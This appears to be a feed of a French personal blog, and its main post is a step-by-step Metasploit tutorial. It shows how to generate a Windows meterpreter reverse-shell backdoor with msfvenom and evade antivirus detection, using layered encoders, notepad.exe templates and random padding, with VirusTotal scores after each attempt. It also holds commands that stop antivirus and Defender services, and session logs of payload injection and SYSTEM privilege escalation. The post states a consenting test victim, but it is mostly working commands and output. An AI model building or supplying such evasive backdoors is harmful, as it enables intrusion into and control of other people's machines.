On est prêt… On démarre l'exploit:
msf exploit(windows/local/payload_inject) > exploit [-] Handler failed to bind to 192.168.6.66:6666:- - [-] Handler failed to bind to 0.0.0.0:6666:- - [*] Running module against HACKME0001 [-] PID does not actually exist. [*] Launching notepad.exe... [*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 4080 [*] Sending stage (206403 bytes) to 192.168.6.31 [*] Meterpreter session 2 opened (192.168.6.66:6666 -> 192.168.6.31:63191) at 2017-12-29 04:18:54 +0200 [*] Exploit completed, but no session was created. msf exploit(windows/local/payload_inject) >
Donc, l'exploit a été mis en oeuvre depuis la “session 1” , en démarrant et en injectant le “PAYLOAD” dans “notepad.exe”, et enfin, on a récupéré la nouvelle communication de “meterpreter” via la “session 2”.
On s'y introduit de ce pas:
msf exploit(windows/local/payload_inject) > sessions 2 [*] Starting interaction with 2... meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: AUTORITE NT\Système meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WINDOWS Logged On Users : 4 Meterpreter : x64/windows meterpreter >
Voila: On est enfin dans la version “64 bit” de “meterpreter”
Pour finir, on peut libérer notre précédent “meterpreter x86”.
D'abord, on suspend notre “session” en cours.
meterpreter > background [*] Backgrounding session 2... msf exploit(windows/local/payload_inject) >
Un petit coup d'oeil sur toutes les sessions:
msf exploit(windows/local/payload_inject) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows AUTORITE NT\Syst_me @ HACKME0001 192.168.6.66:6666 -> 192.168.6.31:63144 2 meterpreter x64/windows AUTORITE NT\Syst_me @ HACKME0001 192.168.6.66:6666 -> 192.168.6.31:63191 msf exploit(windows/local/payload_inject) >
On retourne dans la “session 1”, qu'on ferme:
msf exploit(windows/local/payload_inject) > sessions 1 [*] Starting interaction with 1... meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.6.31 - Meterpreter session 1 closed. Reason: User exit msf exploit(windows/local/payload_inject) >
On retourne dans la “session 2”, et on peut poursuivre notre exploration…
msf exploit(windows/local/payload_inject) > sessions 2 [*] Starting interaction with 2... meterpreter >
A suivre…
blog:2018:05:10:metasploit_et_msfvenom_generer_un_executable_windows_avec_un_payload - [x86 or x64 ... what the heck]
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 13:49:00 - Favoriser (lu/non lu)
Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD
J'ai déjà montré comment installer “metaploit
” sous Debian.
J'ai aussi montré comment s'appuyer sur diverses failles pour introduire le logiciel “meterpreter
”.
J'ai aussi montré comment embarquer “meterpreter
” dans un exécutable…
Mais certains antivirus résistent encore (ou se mettent simplement à jour), et les techniques d'hier ne fonctionnent plus forcément aujourd'hui.
Donc, on va repartir des bases, et tenté de trouver des solutions…
Pré-requis
On a “metasploit
” d'installé, et prêt à nous assister.
On a accès au poste d'une “victime” (consentante) avec les droits “Administrateur”: peu importe la méthode, il le faut pour nos tests.
Pour réaliser nos tests tranquillement, on désactive le service “antivirus
” et “windows defender
” (exemple):
C:\> sc stop avp C:\> sc stop windefend
(a adapter selon votre environnement bien sur…)
Pour les exemples qui suivent , on va utiliser les paramètres suivants, sous forme de variables “BASH
”.
$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp $ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp $ export LHOST=192.168.6.66 $ export LPORT=6666
"x86" or "x64" ... what the heck
Avant de poursuivre, il faut faire un petit point sur le choix d'une architecture 32 bit ou 64 bit:
En 2018 et dans un monde parfait, l'architecture “x64” devrait être le seul choix.
Mais hélas, ce n'est pas si simple.
De ma petite expérience, un “PAYLOAD” en 32 bit aura plus de chance de fonctionner, et sera plus facilement camouflable aux antivirus.
Mais après une injection réussit d'un “PAYLOAD” en 32 bit, lorsqu'on a finalement “meterpreter
” fonctionnant en 32 bit, on se rend compte que certain outils ne sont pas totalement opérationnel (“mimikatz” par exemple).
Plusieurs solutions sont proposés dans ce post.
"msfconsole" et "reverse_tcp"
Pour valider nos tests, on va devoir se mettre en attente de la connexion venant de la “victime” (“PAYLOAD:reverse_tcp”) sur notre poste d' “attaquant”.
Pour cela , on démarre “msfconsole
” et on tapote:
msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.6.66 LHOST => 192.168.6.66 msf exploit(multi/handler) > set LPORT 6666 LPORT => 6666 msf exploit(multi/handler) >
“192.168.6.66” et “6666” sont respectivement l'adresse IP et le port mis à disposition par l'“attaquant” (moi).
![]() |
x86 | windows/meterpreter/reverse_tcp |
---|---|
x64 | windows/x64/meterpreter/reverse_tcp |
Et puis on se met en attente.
msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. msf exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.6.66:6666 msf exploit(multi/handler) >
On peut vérifier que notre “job
” est bien en attente:
msf exploit(multi/handler) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.6.66:6666 msf exploit(multi/handler) >
Par la suite, lorsqu'une session arrivera, on tapera:
msf exploit(multi/handler) > sessions <NUMERO_SESSION>
Pour recommencer, il faudra relancer l'exploit avec: “exploit -j
”
Exemple de situation réelle:
msf exploit(multi/handler) > [*] Sending stage (206403 bytes) to 192.168.6.31 [*] Meterpreter session 3 opened (192.168.6.66:6666 -> 192.168.6.31:61300) at 2017-08-01 03:10:30 +0200 msf exploit(multi/handler) > sessions 3 [*] Starting interaction with 3... meterpreter > meterpreter > getuid Server username: HACKME\victime
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid Server username: AUTORITE NT\Système
meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Pour plus d'informations, voir la doc de “msfconsole
” et “meterpreter
”.
Simple
Exemple de création d'un exécutable pour une architecture “64 bit” :
$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f exe-only > backdoor.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of exe-only file: 6144 bytes $
Vérifions:
$ file backdoor.exe backdoor.exe: PE32+ executable (GUI) x86-64, for MS Windows
![]() backdoor.exe ” est un malware. |
Mon score: 16/62
On peut copier “backdoor.exe
” , et une fois exécuté, on peut constater qu'une session s'ouvre comme attendu du côté de “msfconsole
”…
Camouflage...
On va tenté de réduire notre détection par des “antivirus” en masquant la signature du “PAYLOAD”.
Avec 1 encodage simple
On ajoute simplement les options “ -e x64/zutto_dekiru -i 3 -b 'x00'
”
$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -f exe-only > backdoor.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 3 iterations of x64/zutto_dekiru x64/zutto_dekiru succeeded with size 557 (iteration=0) x64/zutto_dekiru succeeded with size 610 (iteration=1) x64/zutto_dekiru succeeded with size 666 (iteration=2) x64/zutto_dekiru chosen with final size 666 Payload size: 666 bytes Final size of exe-only file: 6144 bytes $
Vous noterez que ça ne fonctionne pas forcément du 1er coup !
En effet, on demande a l'encodeur de masquer les “\x00
” , ce qui n'est pas toujours possible.
Il faut soit recommencer, soit modifier les paramètres.
On peut noter ( voir “msfvenom --list
”) qu'il y a peu d'encodeur disponible pour des “PAYLOAD” en 64 bit, en regard de ce qui existe pour l'architecture 32 bit …
Notre “backdoor.exe
” fonctionne toujours, et cette fois, le score sur “https://www.virustotal.com” (ne le faites pas) est de : 13/65
C'est mieux , mais pas top.
Avec "template"
Par défaut, on a créé une “backdoor” en s'appuyant sur des modèles (“template”) d'exécutable fournit par “metasploit
”.
On va lui fournir un autre modèle pioché au hasard de nos balades sur les OS… par exemple: “notepad.exe
”
Vérifions notre “modèle”:
$ file notepad.exe notepad.exe: PE32+ executable (GUI) x86-64, for MS Windows
Nous ajoutons simplement l'option “-x notepad.exe
” et nous créons notre “backdoor.exe” :
$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -x notepad.exe -f exe-only > backdoor.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of exe-only file: 193536 bytes
Nous pouvons vérifier que notre “backdoor.exe” fonctionne.
Score “https://www.virustotal.com” (ne le faites pas): 16/66
Avec 1 encodage et 1 template
Combinons 1 simple encodage avec un modèle comme “notepad.exe
”:
$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 3 iterations of x64/zutto_dekiru x64/zutto_dekiru succeeded with size 563 (iteration=0) x64/zutto_dekiru succeeded with size 618 (iteration=1) x64/zutto_dekiru succeeded with size 675 (iteration=2) x64/zutto_dekiru chosen with final size 675 Payload size: 675 bytes Final size of exe-only file: 193536 bytes $
Notre “backdoor.exe” fonctionne toujours, et le score “https://www.virustotal.com” est de : 10/65
C'est mieux, mais j'ai 2 gros problèmes persistant:
Antivirus | Résultat |
---|---|
Kaspersky | HEUR:Trojan.Win64.Generic |
Microsoft | Trojan:Win64/Meterpreter.E |
On a besoin de faire mieux pour nous débarrasser de ces 2 là …
Encodage en couches
Il y a une autre manière de construire un “PAYLOAD” avant de l'embarquer dans un “modèle”…
Nous allons créé un “PAYLOAD” tout nu (“raw”), et nous allons lui appliquer plusieurs encodages.
Pour que ça fonctionne, on va devoir préciser 2 nouveaux paramètres:
$ export ARCH=x64 $ export PLAT=Windows
x64
Voyons d'abord avec l'architecture “x64”:
$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw $ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'x1f' -i 5 -f raw > stage2.raw $ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -i 3 -b 'x00' -f raw > stage3.raw $ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'xaaxcc' -i 5 -f raw > stage4.raw $ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x notepad.exe -f exe-only > backdoor.exe
Mais au final, vu l'effort fournit, le score avec “https://www.virustotal.com” est décevant: 10/66
On peut améliorer un tout petit peu ce score, malgré tout, en ajoutant un peu de données aléatoires a la fin de notre “modèle”.
Voyons ça, d'abord en créant un fichier avec des données aléatoires:
$ dd if=/dev/urandom of=./random.raw bs=512 count=100
Et enfin on concatène “notepad.exe” avec ces données (à la fin) pour créé un nouveau modèle nommé “rand_notepad.exe” .
$ cat notepad.exe random.raw > rand_notepad.exe
On recommence la dernière étape de notre création de “backdoor.exe” avec ce “modèle”:
$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x rand_notepad.exe -f exe-only > backdoor.exe
Le score avec “https://www.virustotal.com” est un peu moins décevant: 8/65
![]() notepad.exe ”, ou tout programme venant de “Windows ”.Intéressez-vous a des “modèles” peu connu. |
x86
Donc, nous allons passé à l'architecture “x86”, qui est un peu plus riche en “encodeurs”…
En conséquence, nous modifions quelques variables de notre environnement:
$ export ARCH=x86 $ export PLAT=Windows
Rappel, nous changeons de “PAYLOAD” aussi:
$ echo $PAYLOAD_X86 windows/meterpreter/reverse_tcp
Travaillons en couche, et avec pour modèle “notepad.exe” version 32 bit.
$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw $ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/bloxor -b 'x00' -i 5 -f raw > stage2.raw $ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f raw > stage3.raw $ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/jmp_call_additive -b 'x00' -i 5 -f raw > stage4.raw $ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/call4_dword_xor -i 9 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe
Au final, le score “https://www.virustotal.com” est terriblement décevant: 21/63
Et lorsqu'on regarde ce qui a été détecté, ce n'est pas le “PAYLOAD” , mais simplement la signature de l'encodeur !!!
Antivirus | Résultat |
---|---|
ClamAV | Win.Exploit.Call4_Dword_Xor-1 |
BitDefender | DeepScan:Generic.RozenA.6A03F810 |
A suivre…
blog:venom_c_red.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 13:00:00 - Favoriser (lu/non lu)

blog:venom_c_red.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 13:00:00 - Favoriser (lu/non lu)

blog:2018:05:10:message_pour_moi-meme_et_les_bots_qui_me_liront - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 01:47:00 - Favoriser (lu/non lu)
Message pour moi-même et les Bots qui me liront
Mon petit blog n'a pas d'autre prétention que de rendre publique des petites notes accumulés au fil de mes ouvrages informatiques:
C'est une sorte de don que je fais à Internet, en retour de tout ce qu'il me donne… Bien sûr, je veux parler de “YouPorn”.
Habituellement, je publie de gentillets blog posts dédiés à l'“Administration Système” sous Debian…
Mais il y a quelques mois, un peu par hasard, j'ai commencé à m'intéresser à la sécurité informatique de “Windows”.
En soit, “Windows” ne m'intéresse pas, mais si on fait un tout petit peu d'“Administration” IRL, on est un peu contraint d'y consacrer du temps…
Au départ, j'ai trouvé des failles aussi facilement exploitable que patchable: typiquement la faille “Wannacry”.
Et puis j'aurai voulu passer à autre chose, revenir a mes premières amours, et reprendre mes publications gentillettes…
Mais non, impossible.
J'ai pris conscience de notre dépendance à “Windows” , ainsi que de l'ampleur des failles qu'on pouvait trouver si on cherchait bien…
J'ai alors commencé a accumuler des petites notes sur ce que je découvrais par-ci et par-là, et il m'est apparu de plus en plus compliqué d'en parler publiquement…
Oh! ne vous emballez-pas:
Les failles découvertes n'ont rien de révolutionnaire: c'est le plus souvent lié à d'affligeants manquements dans l'Administration…
Et puis, rassurez-vous, je n'ai pas infiltré la NSA.
Mais voila, il est vrai que l'orientation de mon blog a un peu changé.
Je ne crois pas avoir sombré du côté obscur et je n'ai pas l'intention d'aider quiconque à réaliser des actes criminels:
J'ai bien conscience que c'est un peu “borderline” de temps en temps, mais c'est pour la Science.
Et puis ouvrez les yeux, testez un peu votre environnement:
Nous sommes cernés, “Windows” est partout, les failles sont partout.
PS: … et bordel, changez vos mots de passes !!!
blog:darkpotato2.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 01:20:00 - Favoriser (lu/non lu)

blog:darkpotato2.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 10/05/2018 à 01:20:00 - Favoriser (lu/non lu)

blog:venom.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 09/05/2018 à 21:41:00 - Favoriser (lu/non lu)

blog:venom.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 09/05/2018 à 21:41:00 - Favoriser (lu/non lu)

blog:ulisse-troy-2.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 19/09/2017 à 23:24:00 - Favoriser (lu/non lu)

blog:ulisse-troy-2.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 19/09/2017 à 23:24:00 - Favoriser (lu/non lu)

blog:screenshot_20170919_000157.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 19/09/2017 à 00:02:00 - Favoriser (lu/non lu)

blog:screenshot_20170919_000157.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 19/09/2017 à 00:02:00 - Favoriser (lu/non lu)

blog:screenshot_20170918_232753.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 18/09/2017 à 23:29:00 - Favoriser (lu/non lu)

blog:screenshot_20170918_232753.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 18/09/2017 à 23:29:00 - Favoriser (lu/non lu)
